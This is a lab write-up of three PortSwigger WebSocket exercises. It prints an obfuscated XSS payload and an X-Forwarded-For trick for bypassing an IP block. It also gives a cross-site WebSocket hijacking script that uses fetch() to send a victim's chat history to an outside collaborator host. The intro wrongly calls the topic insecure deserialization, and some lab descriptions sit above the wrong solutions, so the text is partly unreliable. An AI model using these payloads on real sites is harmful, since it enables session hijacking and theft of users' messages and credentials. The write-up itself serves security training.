Intro
This post/writeup is all about the insecure deserialization vulnerabilities.
I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.
To learn more on the topic, please visit the article linked above at Portswigger’s.
TOC
- Intro
- Manipulating WebSocket messages to exploit vulnerabilities
- Cross-site WebSocket hijacking
- Manipulating the WebSocket handshake to exploit vulnerabilities
Manipulating WebSocket messages to exploit vulnerabilities
This online shop has a live chat feature implemented using WebSockets.
Chat messages that you submit are viewed by a support agent in real time.
To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent’s browser.
When opening the lab, there is a Live chat page. If we check the requests, we will notice that web sockets are being sent.
Problem is that sockets aren’t being sanitized when being sent directly!
Cross-site WebSocket hijacking
This online shop has a live chat feature implemented using WebSockets.
To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim’s chat history, then use this gain access to their account.
In this lab, there is a XSS filter blocking our IP when trying to inject XSS payloads.
We can however circumvent the IP block by using X-Forwarded-For header and reconnect our client to the websocket server.
Working payload:
1
<img src=1 oNeRrOr=alert`1`>
XSS fires on the /chat page.
Manipulating the WebSocket handshake to exploit vulnerabilities
This online shop has a live chat feature implemented using WebSockets.
It has an aggressive but flawed XSS filter.
To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent’s browser.
Read the portswigger’s article on cross-site websocket hijacking first, if not familiar with the attack.
Cross-site WebSocket hijacking (also known as cross-origin WebSocket hijacking) involves a cross-site request forgery (CSRF) vulnerability on a WebSocket handshake. It arises when the WebSocket handshake request relies solely on HTTP cookies for session handling and does not contain any CSRF tokens or other unpredictable values.
Source: https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking
By access /chat, websockets are sent without any CSRF protection.
1
2
3
4
5
6
7
8
9
10
11
12
13
GET /chat HTTP/2
Host: 0a6b00630481157482b6c4f7004e008f.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0a6b00630481157482b6c4f7004e008f.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: session=6tzRfIhPXlNV1fZcX67LYDnFIwcJUP71
Sec-Websocket-Key: DyvNyiBfSYIGBxRpZJQHKQ==
Also by every subsequent chat message, CSRF is not being sent.
Consenquently, we can trick the victim to send it’s messages to the same chat and exfiltrate the messages to the collaborator server.
1
2
3
4
5
6
7
8
9
<script>
var ws = new WebSocket('wss://0a5400fc03d9ed01817c750e00220084.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://b8kg1t8d2s3yfkrk5u9vjk5ktbz2n3bs.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
As seen below, we get messages that are being sent in the chat, by exploiting CSRF.
Log in by using the stolen credentials to solve the lab.